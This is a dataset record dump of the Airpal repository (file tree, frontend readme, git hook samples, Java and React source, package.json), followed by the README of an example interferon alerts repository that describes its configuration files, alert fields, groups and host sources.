{"type": "file", "name": "PersistentJobOutput.java"}, {"type": "file", "name": "PersistentJobOutputFactory.java"}, {"type": "directory", "name": "persistors", "children": [{"type": "file", "name": "CSVPersistorFactory.java"}, {"type": "file", "name": "FlatFilePersistor.java"}, {"type": "file", "name": "HiveTablePersistor.java"}, {"type": "file", "name": "Persistor.java"}, {"type": "file", "name": "PersistorFactory.java"}, {"type": "file", "name": "S3FilePersistor.java"}]}]}, {"type": "directory", "name": "queries", "children": [{"type": "file", "name": "CreateSavedQueryBuilder.java"}, {"type": "file", "name": "FeaturedQuery.java"}, {"type": "file", "name": "SavedQuery.java"}, {"type": "file", "name": "UserSavedQuery.java"}]}]}, {"type": "directory", "name": "core", "children": [{"type": "file", "name": "AirpalUser.java"}, {"type": "file", "name": "AirpalUserFactory.java"}, {"type": "file", "name": "AirpalUserImpl.java"}, {"type": "file", "name": "AuthorizationUtil.java"}, {"type": "file", "name": "BackgroundCacheLoader.java"}, {"type": "directory", "name": "execution", "children": [{"type": "file", "name": "Execution.java"}, {"type": "file", "name": "ExecutionClient.java"}, {"type": "file", "name": "InputReferenceExtractor.java"}, {"type": "file", "name": "QueryClient.java"}, {"type": "file", "name": "QueryExecutionAuthorizer.java"}]}, {"type": "directory", "name": "health", "children": [{"type": "file", "name": "PrestoHealthCheck.java"}]}, {"type": "directory", "name": "store", "children": [{"type": "directory", "name": "files", "children": [{"type": "file", "name": "ExpiringFileStore.java"}]}, {"type": "directory", "name": "history", "children": [{"type": "file", "name": "JobHistoryStore.java"}, {"type": "file", "name": "JobHistoryStoreDAO.java"}, {"type": "file", "name": "LocalJobHistoryStore.java"}]}, {"type": "directory", "name": "jobs", "children": [{"type": "file", "name": "ActiveJobsStore.java"}, {"type": "file", "name": "InMemoryActiveJobsStore.java"}]}, {"type": "directory", "name": "queries", "children": [{"type": "file", "name": "QueryStore.java"}, {"type": "file", "name": "QueryStoreDAO.java"}]}, {"type": "directory", "name": "usage", "children": [{"type": "file", "name": "CachingUsageStore.java"}, {"type": "file", "name": "LocalUsageStore.java"}, {"type": "file", "name": "SQLUsageStore.java"}, {"type": "file", "name": "UsageStore.java"}]}]}, {"type": "file", "name": "TableUpdatedCache.java"}, {"type": "file", "name": "ToAirpalUser.java"}]}, {"type": "directory", "name": "modules", "children": [{"type": "file", "name": "AirpalModule.java"}, {"type": "file", "name": "DropwizardModule.java"}]}, {"type": "directory", "name": "presto", "children": [{"type": "file", "name": "ClientSessionFactory.java"}, {"type": "file", "name": "ForQueryRunner.java"}, {"type": "directory", "name": "hive", "children": [{"type": "file", "name": "HiveColumn.java"}, {"type": "file", "name": "HivePartition.java"}]}, {"type": "directory", "name": "metadata", "children": [{"type": "file", "name": "ColumnCache.java"}, {"type": "file", "name": "PartitionedTableWithValue.java"}, {"type": "file", "name": "PreviewTableCache.java"}, {"type": "file", "name": "SchemaCache.java"}]}, {"type": "file", "name": "PartitionedTable.java"}, {"type": "file", "name": "QueryInfoClient.java"}, {"type": "file", "name": "QueryRunner.java"}, {"type": "file", "name": "Table.java"}, {"type": "file", "name": "Util.java"}]}, {"type": "directory", "name": "resources", "children": [{"type": "file", "name": "ExecuteResource.java"}, {"type": "file", "name": "FilesResource.java"}, {"type": "file", "name": "HealthResource.java"}, {"type": "file", "name": "PingResource.java"}, {"type": "file", "name": "QueriesResource.java"}, {"type": "file", "name": "QueryResource.java"}, {"type": "file", "name": "RedirectRootResource.java"}, {"type": "file", "name": "ResultsPreviewResource.java"}, {"type": "file", "name": "S3FilesResource.java"}, {"type": "file", "name": "SessionResource.java"}, {"type": "directory", "name": "sse", "children": [{"type": "file", "name": "SSEEventSource.java"}, {"type": "file", "name": "SSEEventSourceServlet.java"}]}, {"type": "file", "name": "TablesResource.java"}, {"type": "file", "name": "UserResource.java"}, {"type": "file", "name": "UsersResource.java"}]}, {"type": "directory", "name": "service", "children": [{"type": "file", "name": "LoginView.java"}]}, {"type": "directory", "name": "sql", "children": [{"type": "directory", "name": "beans", "children": [{"type": "file", "name": "JobTableOutputJoinRow.java"}, {"type": "file", "name": "JobTableRow.java"}, {"type": "file", "name": "JobUsageCountRow.java"}, {"type": "file", "name": "TableRow.java"}]}, {"type": "directory", "name": "dao", "children": [{"type": "file", "name": "JobDAO.java"}, {"type": "file", "name": "JobOutputDAO.java"}, {"type": "file", "name": "JobTableDAO.java"}, {"type": "file", "name": "TableDAO.java"}]}, {"type": "file", "name": "DbType.java"}, {"type": "directory", "name": "jdbi", "children": [{"type": "file", "name": "QueryStoreMapper.java"}, {"type": "file", "name": "URIArgument.java"}, {"type": "file", "name": "URIArgumentFactory.java"}, {"type": "file", "name": "UUIDArgument.java"}, {"type": "file", "name": "UUIDArgumentFactory.java"}]}, {"type": "file", "name": "Util.java"}]}]}, {"type": "directory", "name": "shiro", "children": [{"type": "file", "name": "AllowAllRealm.java"}, {"type": "file", "name": "AllowAllToken.java"}, {"type": "file", "name": "AllowAllUser.java"}, {"type": "file", "name": "ExampleLDAPRealm.java"}, {"type": "directory", "name": "filter", "children": [{"type": "file", "name": "AllowAllFilter.java"}]}, {"type": "file", "name": "SessionListenerLogger.java"}, {"type": "file", "name": "UserGroup.java"}]}]}]}]}, {"type": "directory", "name": "resources", "children": [{"type": "directory", "name": "assets", "children": [{"type": "directory", "name": "fonts", "children": [{"type": "file", "name": "glyphicons-halflings-regular.eot"}, {"type": "file", "name": "glyphicons-halflings-regular.svg"}, {"type": "file", "name": "glyphicons-halflings-regular.woff"}, {"type": "file", "name": "glyphicons-halflings-regular.woff2"}]}, {"type": "directory", "name": "gulp", "children": [{"type": "file", "name": "config.js"}, {"type": "directory", "name": "tasks", "children": [{"type": "file", "name": "browserify.js"}, {"type": "file", "name": "build.js"}, {"type": "file", "name": "default.js"}, {"type": "file", "name": "setWatch.js"}, {"type": "file", "name": "watch.js"}]}, {"type": "directory", "name": "util", "children": [{"type": "file", "name": "bundleLogger.js"}, {"type": "file", "name": "handleErrors.js"}]}]}, {"type": "file", "name": "gulpfile.js"}, {"type": "file", "name": "index.html"}, {"type": "directory", "name": "javascripts", "children": [{"type": "directory", "name": "actions", "children": [{"type": "file", "name": "QueryActions.js"}, {"type": "file", "name": "ResultsPreviewActions.js"}, {"type": "file", "name": "RunActions.js"}, {"type": "file", "name": "TabActions.js"}, {"type": "file", "name": "TableActions.js"}, {"type": "file", "name": "UserActions.js"}]}, {"type": "file", "name": "alt.js"}, {"type": "file", "name": "app.js"}, {"type": "directory", "name": "components", "children": [{"type": "file", "name": "AirpalApp.jsx"}, {"type": "file", "name": "AllRunningQueries.jsx"}, {"type": "file", "name": "Column.jsx"}, {"type": "file", "name": "ColumnsPreview.jsx"}, {"type": "file", "name": "ConnectionErrors.jsx"}, {"type": "file", "name": "DataPreview.jsx"}, {"type": "file", "name": "Header.jsx"}, {"type": "file", "name": "MetaDataPreview.jsx"}, {"type": "file", "name": "MyOwnRuns.jsx"}, {"type": "file", "name": "MySavedQueries.jsx"}, {"type": "file", "name": "QueryEditor.jsx"}, {"type": "file", "name": "QueryHistory.jsx"}, {"type": "file", "name": "QueryInformation.jsx"}, {"type": "file", "name": "QuerySaveModal.jsx"}, {"type": "file", "name": "ResultsTable.jsx"}, {"type": "file", "name": "RunsTable.jsx"}, {"type": "file", "name": "SearchInputField.jsx"}, {"type": "file", "name": "TableExplorer.jsx"}, {"type": "file", "name": "TableInfo.jsx"}, {"type": "file", "name": "TableSearch.jsx"}]}, {"type": "directory", "name": "constants", "children": [{"type": "file", "name": "RunStateConstants.js"}, {"type": "file", "name": "TabConstants.js"}]}, {"type": "directory", "name": "mixins", "children": [{"type": "file", "name": "UpdateWidthMixin.js"}]}, {"type": "directory", "name": "plugins", "children": [{"type": "file", "name": "plugin.js"}, {"type": "file", "name": "selectize.header.js"}, {"type": "file", "name": "selectize.js"}]}, {"type": "directory", "name": "stores", "children": [{"type": "file", "name": "QueryStore.js"}, {"type": "file", "name": "ResultsPreviewStore.js"}, {"type": "file", "name": "RunStore.js"}, {"type": "file", "name": "TableStore.js"}, {"type": "file", "name": "TabStore.js"}, {"type": "file", "name": "UserStore.js"}]}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "checkResults.js"}, {"type": "file", "name": "FluxCollection.js"}, {"type": "file", "name": "fqn.js"}, {"type": "file", "name": "logError.js"}, {"type": "file", "name": "QueryApiUtils.js"}, {"type": "file", "name": "ResultsPreviewApiUtils.js"}, {"type": "file", "name": "RunApiUtils.js"}, {"type": "file", "name": "TableApiUtils.js"}, {"type": "file", "name": "UserApiUtils.js"}, {"type": "file", "name": "xhr.js"}]}, {"type": "directory", "name": "vendor", "children": [{"type": "file", "name": "jquery-1.9.0.min.js"}, {"type": "file", "name": "modernizr-2.8.3.min.js"}]}]}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "readme.md"}, {"type": "directory", "name": "specs", "children": [{"type": "directory", "name": "stores", "children": [{"type": "file", "name": "RunStore-test.js"}, {"type": "file", "name": "UserStore-test.js"}]}]}, {"type": "directory", "name": "stylesheets", "children": [{"type": "file", "name": "airpal.css"}, {"type": "file", "name": "bootstrap.min.css"}, {"type": "directory", "name": "plugins", "children": [{"type": "file", "name": "fixed-data-table.css"}, {"type": "file", "name": "selectize.min.css"}]}, {"type": "directory", "name": "themes", "children": [{"type": "file", "name": "airbnb.css"}, {"type": "file", "name": "default.css"}]}]}]}, {"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "airpal", "children": [{"type": "directory", "name": "service", "children": [{"type": "file", "name": "login.ftl"}]}]}]}]}, {"type": "directory", "name": "db", "children": [{"type": "directory", "name": "migration", "children": [{"type": "directory", "name": "common", "children": [{"type": "file", "name": "V2__Create_tables_table.sql"}, {"type": "file", "name": "V3__Create_job_outputs_table.sql"}, {"type": "file", "name": "V4__Create_job_tables_table.sql"}, {"type": "file", "name": "V6__Create_saved_queries_table.sql"}]}, {"type": "directory", "name": "h2", "children": [{"type": "file", "name": "V1__Create_jobs_table.sql"}]}, {"type": "directory", "name": "mysql", "children": [{"type": "file", "name": "V1__Create_jobs_table.sql"}]}]}]}, {"type": "directory", "name": "META-INF", "children": [{"type": "directory", "name": "services", "children": [{"type": "file", "name": "com.airbnb.airpal.api.output.PersistentJobOutput"}, {"type": "file", "name": "com.codahale.dropwizard.jackson.Discoverable"}]}]}, {"type": "file", "name": "shiro_allow_all.ini"}, {"type": "file", "name": "shiro_ldap_example.ini"}, {"type": "file", "name": "shiro_static_users.ini"}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "airbnb", "children": [{"type": "directory", "name": "airpal", "children": [{"type": "directory", "name": "core", "children": [{"type": "directory", "name": "execution", "children": [{"type": "file", "name": "QueryExecutionAuthorizerTest.java"}]}]}]}]}]}]}]}]}]} | # JavaScript
## Gulp
The frontend application uses Gulp for automation of some frontend stuff like
compiling the browserify code and for reloading the browser while developing.
To run the default configuration/tasks of gulp, just run `gulp` and you'll be
fine. If you want to build the JavaScript, just run simply `gulp build` (this
is also what the `pom.xml` does when running `mvn clean package`).
## Adding new gulp tasks
If you want to add more tasks, add them to the `gulp/tasks` folder and
don't forget to add the configuration in the `gulp/config.js` file.
More information about this gulp setup: [Gulp starter](https://github.com/greypants/gulp-starter).
# Stylesheet
The CSS files are following the CSS guidelines of Harry Roberts and can be
found at: http://cssguidelin.es
## Theming
It's possible to add your own theme (which probably will be based on bootstrap,
since it's used in the project).
It's recommended to use pure CSS instead of SASS, because it's very low level
and understood by everyone. But at the end: it's your own choice while
developing your own theme for Airpal.
To keep your code clean it's recommended to add your theme to the `stylesheets/
themes/` folder, but feel free to change it for your own needs.
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "gradle\\wrapper\\gradle-wrapper.properties": "#Fri Dec 19 11:52:38 PST 2014\ndistributionBase=GRADLE_USER_HOME\ndistributionPath=wrapper/dists\nzipStoreBase=GRADLE_USER_HOME\nzipStorePath=wrapper/dists\ndistributionUrl=https\\://services.gradle.org/distributions/gradle-2.2.1-all.zip\n", "src\\main\\java\\com\\airbnb\\airpal\\AirpalApplication.java": "package com.airbnb.airpal;\n\nimport com.airbnb.airpal.AirpalApplicationBase;\nimport com.airbnb.airpal.modules.AirpalModule;\nimport com.airbnb.airpal.modules.DropwizardModule;\nimport com.google.common.collect.ImmutableList;\nimport com.google.inject.AbstractModule;\nimport io.dropwizard.ConfiguredBundle;\nimport io.dropwizard.setup.Bootstrap;\nimport io.dropwizard.setup.Environment;\nimport io.dropwizard.views.ViewBundle;\nimport org.secnod.dropwizard.shiro.ShiroBundle;\nimport org.secnod.dropwizard.shiro.ShiroConfiguration;\n\nimport java.util.Arrays;\n\npublic class AirpalApplication extends AirpalApplicationBase<AirpalConfiguration>\n{\n @Override\n public Iterable<AbstractModule> getModules(AirpalConfiguration config, Environment environment)\n {\n return Arrays.asList(new DropwizardModule(config, environment),\n new AirpalModule(config, environment));\n }\n\n @Override\n public Iterable<ConfiguredBundle<AirpalConfiguration>> getConfiguredBundles()\n {\n Iterable<ConfiguredBundle<AirpalConfiguration>> bundles = super.getConfiguredBundles();\n ImmutableList.Builder<ConfiguredBundle<AirpalConfiguration>> builder = ImmutableList.builder();\n\n for (ConfiguredBundle<AirpalConfiguration> bundle : bundles) {\n builder.add(bundle);\n }\n builder.add(new ShiroBundle<AirpalConfiguration>() {\n @Override\n protected ShiroConfiguration narrow(AirpalConfiguration configuration)\n {\n return configuration.getShiro();\n }\n });\n return builder.build();\n }\n\n public static void main(final String[] args) throws Exception {\n final AirpalApplication application = new AirpalApplication();\n application.run(args);\n }\n}\n", "src\\main\\java\\com\\airbnb\\airpal\\AirpalApplicationBase.java": "package com.airbnb.airpal;\n\nimport com.airbnb.airpal.core.AirpalUserFactory;\nimport com.airbnb.airpal.core.health.PrestoHealthCheck;\nimport com.airbnb.airpal.resources.ExecuteResource;\nimport com.airbnb.airpal.resources.FilesResource;\nimport com.airbnb.airpal.resources.HealthResource;\nimport com.airbnb.airpal.resources.PingResource;\nimport com.airbnb.airpal.resources.QueriesResource;\nimport com.airbnb.airpal.resources.QueryResource;\nimport com.airbnb.airpal.resources.ResultsPreviewResource;\nimport com.airbnb.airpal.resources.S3FilesResource;\nimport com.airbnb.airpal.resources.SessionResource;\nimport com.airbnb.airpal.resources.TablesResource;\nimport com.airbnb.airpal.resources.UserResource;\nimport com.airbnb.airpal.resources.UsersResource;\nimport com.airbnb.airpal.resources.sse.SSEEventSourceServlet;\nimport com.google.inject.AbstractModule;\nimport com.google.inject.Guice;\nimport com.google.inject.Injector;\nimport com.google.inject.Stage;\nimport io.dropwizard.Application;\nimport io.dropwizard.Bundle;\nimport io.dropwizard.ConfiguredBundle;\nimport io.dropwizard.assets.AssetsBundle;\nimport io.dropwizard.db.DataSourceFactory;\nimport io.dropwizard.flyway.FlywayBundle;\nimport io.dropwizard.flyway.FlywayFactory;\nimport io.dropwizard.jetty.BiDiGzipHandler;\nimport io.dropwizard.setup.Bootstrap;\nimport io.dropwizard.setup.Environment;\nimport io.dropwizard.views.ViewBundle;\nimport org.eclipse.jetty.server.Handler;\n\nimport javax.servlet.ServletRegistration;\n\nimport java.util.Arrays;\n\nimport static org.glassfish.jersey.message.MessageProperties.IO_BUFFER_SIZE;\n\npublic abstract class AirpalApplicationBase<T extends AirpalConfiguration>\n extends Application<T>\n{\n private static final String SERVER_SENT_EVENTS = \"text/event-stream\";\n\n protected Injector injector;\n\n @Override\n public void initialize(Bootstrap<T> bootstrap)\n {\n for (ConfiguredBundle<T> configuredBundle : getConfiguredBundles()) {\n bootstrap.addBundle(configuredBundle);\n }\n for (Bundle bundle : getBundles()) {\n bootstrap.addBundle(bundle);\n }\n }\n\n public abstract Iterable<AbstractModule> getModules(T config, Environment environment);\n\n public Iterable<ConfiguredBundle<T>> getConfiguredBundles()\n {\n return Arrays.asList(new ViewBundle());\n }\n\n public Iterable<Bundle> getBundles()\n {\n return Arrays.asList(\n new AssetsBundle(\"/assets\", \"/app\", \"index.html\"),\n new FlywayBundle<T>()\n {\n @Override\n public DataSourceFactory getDataSourceFactory(T configuration)\n {\n return configuration.getDataSourceFactory();\n }\n\n @Override\n public FlywayFactory getFlywayFactory(T configuration)\n {\n return configuration.getFlywayFactory();\n }\n });\n }\n\n @Override\n public void run(T config, Environment environment)\n throws Exception\n {\n this.injector = Guice.createInjector(Stage.PRODUCTION, getModules(config, environment));\n\n System.setProperty(IO_BUFFER_SIZE, String.valueOf(config.getBufferSize().toBytes()));\n\n environment.healthChecks().register(\"presto\", injector.getInstance(PrestoHealthCheck.class));\n\n environment.jersey().register(injector.getInstance(ExecuteResource.class));\n environment.jersey().register(injector.getInstance(QueryResource.class));\n environment.jersey().register(injector.getInstance(QueriesResource.class));\n environment.jersey().register(injector.getInstance(UserResource.class));\n environment.jersey().register(injector.getInstance(UsersResource.class));\n environment.jersey().register(injector.getInstance(TablesResource.class));\n environment.jersey().register(injector.getInstance(HealthResource.class));\n environment.jersey().register(injector.getInstance(PingResource.class));\n environment.jersey().register(injector.getInstance(SessionResource.class));\n environment.jersey().register(injector.getInstance(FilesResource.class));\n environment.jersey().register(injector.getInstance(ResultsPreviewResource.class));\n environment.jersey().register(injector.getInstance(S3FilesResource.class));\n\n environment.jersey().register(injector.getInstance(AirpalUserFactory.class));\n\n // Setup SSE (Server Sent Events)\n ServletRegistration.Dynamic sseServlet = environment.servlets()\n .addServlet(\"updates\", injector.getInstance(SSEEventSourceServlet.class));\n sseServlet.setAsyncSupported(true);\n sseServlet.addMapping(\"/api/updates/subscribe\");\n\n // Disable GZIP content encoding for SSE endpoints\n environment.lifecycle().addServerLifecycleListener(server -> {\n for (Handler handler : server.getChildHandlersByClass(BiDiGzipHandler.class)) {\n ((BiDiGzipHandler) handler).addExcludedMimeTypes(SERVER_SENT_EVENTS);\n }\n });\n }\n}\n", "src\\main\\java\\com\\airbnb\\airpal\\sql\\jdbi\\QueryStoreMapper.java": "package com.airbnb.airpal.sql.jdbi;\n\nimport com.airbnb.airpal.api.queries.FeaturedQuery;\nimport com.airbnb.airpal.api.queries.SavedQuery;\nimport com.airbnb.airpal.api.queries.UserSavedQuery;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport lombok.extern.slf4j.Slf4j;\nimport org.skife.jdbi.v2.StatementContext;\nimport org.skife.jdbi.v2.tweak.ResultSetMapper;\n\nimport java.io.IOException;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.util.UUID;\n\n@Slf4j\npublic class QueryStoreMapper implements ResultSetMapper<SavedQuery>\n{\n private final ObjectMapper objectMapper;\n\n public QueryStoreMapper(ObjectMapper objectMapper)\n {\n this.objectMapper = objectMapper;\n }\n\n @Override\n public SavedQuery map(int index, ResultSet r, StatementContext ctx)\n throws SQLException\n {\n try {\n return new UserSavedQuery(\n objectMapper.readValue(r.getString(\"query\"), FeaturedQuery.QueryWithPlaceholders.class),\n r.getString(\"user\"),\n r.getString(\"name\"),\n r.getString(\"description\"),\n null,\n UUID.fromString(r.getString(\"uuid\")),\n false);\n }\n catch (IOException e) {\n log.error(\"Caught exception mapping SavedQuery\", e);\n }\n\n return null;\n }\n}\n", "src\\main\\resources\\assets\\index.html": "<!doctype html>\n<html class=\"no-js\" lang=\"\">\n <head>\n <meta charset=\"utf-8\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n <title>Airpal</title>\n <meta name=\"description\" content=\"\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n <link rel='stylesheet' href='//fonts.googleapis.com/css?family=Lato:400,900'>\n <link rel=\"stylesheet\" href=\"app/stylesheets/bootstrap.min.css\">\n <link rel=\"stylesheet\" href=\"app/stylesheets/plugins/selectize.min.css\">\n <link rel=\"stylesheet\" href=\"app/stylesheets/plugins/fixed-data-table.css\">\n <link rel=\"stylesheet\" href=\"app/stylesheets/themes/default.css\">\n <link rel=\"stylesheet\" href=\"app/stylesheets/themes/airbnb.css\">\n <link rel=\"stylesheet\" href=\"app/stylesheets/airpal.css\">\n\n <script src=\"app/javascripts/vendor/modernizr-2.8.3.min.js\"></script>\n </head>\n <body>\n\n <!--[if lt IE 8]>\n <p class=\"browserupgrade\">You are using an <strong>outdated</strong> browser. Please <a href=\"http://browsehappy.com/\">upgrade your browser</a> to improve your experience.</p>\n <![endif]-->\n\n <div class=\"js-react-app\"></div>\n\n <script src=\"//cdnjs.cloudflare.com/ajax/libs/jquery/1.9.0/jquery.min.js\"></script>\n <script>window.jQuery || document.write('<script src=\"app/javascripts/vendor/jquery-1.9.0.min.js\"><\\/script>')</script>\n <script src=\"app/build/plugin.js\"></script>\n <script src=\"app/build/app.js\"></script>\n\n </body>\n</html>\n", "src\\main\\resources\\assets\\package.json": "{\n \"name\": \"airpal\",\n \"version\": \"0.0.1\",\n \"description\": \"Airpal allows you to query on big data\",\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"https://github.com/airbnb/airpal\"\n },\n \"keywords\": [\n \"big\",\n \"data\",\n \"java\",\n \"ReactJS\",\n \"gulp\",\n \"querying\",\n \"big\",\n \"data\",\n \"airbnb\",\n \"airbnb\",\n \"nerds\"\n ],\n \"author\": \"Airbnb\",\n \"bugs\": {\n \"url\": \"https://github.com/airbnb/airpal/issues\"\n },\n \"homepage\": \"https://github.com/airbnb/airpal\",\n \"browserify\": {\n \"transform\": [\n \"browserify-shim\",\n \"babelify\"\n ]\n },\n \"browserify-shim\": {\n \"plugin\": {\n \"exports\": \"plugin\",\n \"depends\": [\n \"jquery:$\"\n ]\n }\n },\n \"devDependencies\": {\n \"babel-jest\": \"^4.0.0\",\n \"babelify\": \"^5.0.3\",\n \"browserify\": \"~13.0.0\",\n \"browserify-shim\": \"~3.8.12\",\n \"gulp\": \"^3.8.7\",\n \"gulp-changed\": \"^0.4.1\",\n \"gulp-notify\": \"^1.4.2\",\n \"gulp-util\": \"^3.0.0\",\n \"jest-cli\": \"^0.2.0\",\n \"minifyify\": \"^4.4.0\",\n \"pretty-hrtime\": \"~0.2.1\",\n \"react-tools\": \"~0.12\",\n \"require-dir\": \"^0.1.0\",\n \"vinyl-source-stream\": \"~0.1.1\",\n \"watchify\": \"~3.7.0\"\n },\n \"dependencies\": {\n \"alt\": \"^0.14.3\",\n \"brace\": \"^0.4.0\",\n \"browser-sync\": \"^2.7.13\",\n \"es6-shim\": \"^0.25.3\",\n \"fixed-data-table\": \"^0.1.0\",\n \"jquery\": \"~1.9.0\",\n \"keymirror\": \"^0.1.0\",\n \"lodash\": \"^2.4.1\",\n \"moment\": \"^2.9.0\",\n \"react\": \"~0.12\",\n \"react-bootstrap\": \"^0.13.0\",\n \"whatwg-fetch\": \"^0.7.0\"\n },\n \"scripts\": {\n \"test\": \"jest\"\n },\n \"jest\": {\n \"testDirectoryName\": \"specs\",\n \"scriptPreprocessor\": \"node_modules/babel-jest\",\n \"unmockedModulePathPatterns\": [\n \"node_modules/object-assign\",\n \"node_modules/alt\",\n \"javascripts/alt.js\",\n \"node_modules/react\",\n \"lodash\"\n ]\n }\n}\n", "src\\main\\resources\\assets\\javascripts\\app.js": "/**\n * App Bootstrap\n */\n\nimport 'es6-shim';\nimport 'whatwg-fetch';\nimport AirpalApp from './components/AirpalApp.jsx';\nimport React from 'react';\n\n// Start the main app\nReact.render(\n <AirpalApp />,\n document.querySelector('.js-react-app')\n);\n", "src\\main\\resources\\assets\\javascripts\\components\\AirpalApp.jsx": "import React from 'react';\nimport RunActions from '../actions/RunActions';\nimport ConnectionErrors from './ConnectionErrors';\nimport Header from './Header';\nimport TableExplorer from './TableExplorer';\nimport QueryInformation from './QueryInformation';\nimport QueryEditor from './QueryEditor';\nimport TableSearch from './TableSearch';\nimport ColumnsPreview from './ColumnsPreview';\n\nlet AirpalApp = React.createClass({\n displayName: 'AirpalApp',\n\n componentDidMount() {\n // Add event listeners to the window to detect online/offline changes\n // for the user\n window.addEventListener('online', function() { RunActions.wentOnline(); });\n window.addEventListener('offline', function() { RunActions.wentOffline(); });\n },\n\n render() {\n return (\n <div className='airpal-app flex-column'>\n <div className='flex flex-row flex-initial header'>\n <Header />\n </div>\n <div className='flex flex-row content'>\n <div className='flex flex-column flex-initial left'>\n <div className='flex flex-column content'>\n <TableSearch />\n <ColumnsPreview />\n </div>\n </div>\n <div className='flex flex-column right'>\n <QueryEditor />\n <QueryInformation />\n </div>\n </div>\n </div>\n );\n }\n});\n\nexport default AirpalApp;\n"} | null |
alerts | {"type": "directory", "name": "alerts", "children": [{"type": "file", "name": ".travis.yml"}, {"type": "directory", "name": "alerts", "children": [{"type": "file", "name": "inode.rb"}, {"type": "file", "name": "load.rb"}, {"type": "file", "name": "memory.rb"}, {"type": "file", "name": "rds_filesys_disk.rb"}, {"type": "file", "name": "swap.rb"}]}, {"type": "file", "name": "config.yml"}, {"type": "file", "name": "datadog.treetop"}, {"type": "file", "name": "Gemfile"}, {"type": "file", "name": "Gemfile.lock"}, {"type": "directory", "name": "groups", "children": [{"type": "file", "name": "admins.yaml"}, {"type": "file", "name": "root.yaml"}]}, {"type": "directory", "name": "host_sources", "children": [{"type": "file", "name": "billow_rds.rb"}, {"type": "file", "name": "billow_sqs.rb"}]}, {"type": "directory", "name": "lib", "children": [{"type": "file", "name": "datadog_query_checker.rb"}]}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "Rakefile"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "script", "children": [{"type": "file", "name": "pre-commit"}]}, {"type": "directory", "name": "spec", "children": [{"type": "file", "name": "datadog_query_spec.rb"}, {"type": "file", "name": "spec_helper.rb"}]}, {"type": "directory", "name": "test", "children": [{"type": "file", "name": "check_query.rb"}, {"type": "file", "name": "check_syntax.sh"}]}]} | # alerts example #
This is an example alerts repository for interferon which adds a few alerts and groups as well as adding a couple of custom host sources.
## Table of Contents
* [Customizations](#customizations)
* [config.yml](#configyml)
* [alerts](#alerts)
* [destinations](#destinations)
* [groups](#groups)
* [group_sources](#group_sources)
* [host_sources](#host_sources)
* [Tests](#tests)
* [Deploying](#deploying)
## Customizations
There are a few customization points for interferon that can be implemented in the alerts repository without having to commit changes to interferon itself. With the exception of `config.yml` the other entries in this list are all directories.
### config.yml
The `config.yml` file contains settings for interferon including which components to enable. It has the following configurable settings that can be set as YAML mapping keys:
* **`verbose_logging`**: boolean value `true` or `false` which sets the logging verbosity for interferon.
* **`alerts_repo_path`**: string value of the directory to look for the `alerts` directory and any additional directories for `destinations`, `group_sources`, `host_sources` modules.
* **`destinations`** / **`group_sources`** / **`host_sources`**: list of maps containing the following keys.
* **`type`**: string value of the module to load for the given type (e.g. "filesystem" will look for `filesystem.rb` in the directory named as the current parent key in the `alerts_repo_path`).
* **`enabled`**: boolean value `true` or `false` whether or not to use a particular module.
* **`options`**: map of additional options to pass to the module.
### alerts
You can look at the example files in `alerts/` to get a taste of the syntax. You will need the following fields in your alerts file:
* **`name`**: this will be the primary key of your alert, and will show up in emails and in the UI. Only one alert of a given name will be created, so if your alert name is not using some part of the `@hostinfo` object to make it unique, you will end up with a single alert.
* **`message`**: the body of the alert that will be set to the destinations (currently only Datadog).
* **`applies`**: determines which hosts the alert applies to; putting `true` will end up creating as many alerts as the number of distinct `name`s your alert expands into. Interferon will iterate through all the hosts generated by `host_sources` and test them agains the expression here.
* **`notify.people`**: an array of the people who will be receiving the alert.
* **`notify.groups`**: an array of groups who will be receiving the alert. The group mapping will be based on the output of `group_sources`. The `filesystem` group_source module will read the groups in the `groups` directory.
* **`metric`**: The Datadog metric alert query.
* **`silenced`**: The Datadog silenced setting.
* **`timeout`**: The Datadog timeout setting in seconds (gets converted to `timeout_h`).
### destinations
This directory contains additional modules for `destinations`.
### groups
This is the default location where the the built-in `filesystem` group_source reads it's YAML files. If you don't want to store groups as YAML files or have your own group_source, you can remove this directory and remove the `filesystem` group_source from `config.yml`.
Otherwise, you may configure groups with YAML files containing the following keys:
* **`name`**: Name of the group (used in alerts).
* **`people`**: List of people in the group.
* **`alias_for`**: Name of another group that this group is an alias for. Useful for transistion periods when renaming groups.
To post to a slack channel, make sure that the slack integration is configured to include that channel: https://app.datadoghq.com/account/settings#integrations/slack
### group_sources
This directory contains additional modules for `group_sources`. Each group_source should be a class which implements the following methods.
* **`intialize(options)`**: Called for initializing the group_source and reading the options passed in from `config.yml`.
* **`list_groups`**: Called to get the group mapping generated by this module. Should return a hash contain group name to people.
### host_sources
This directory contains additional modules for `host_sources`.
We've implemented a few AWS-related host sources using [billow](https://github.com/airbnb/billow).
Using Billow instead of hitting the AWS API directly can help avoid hitting rate limits if deployments are frequent.
You can implement your own host_sources using your own APIs to expose the hosts available in your infrastructure.
Each host_source should be a class which implements the following methods:
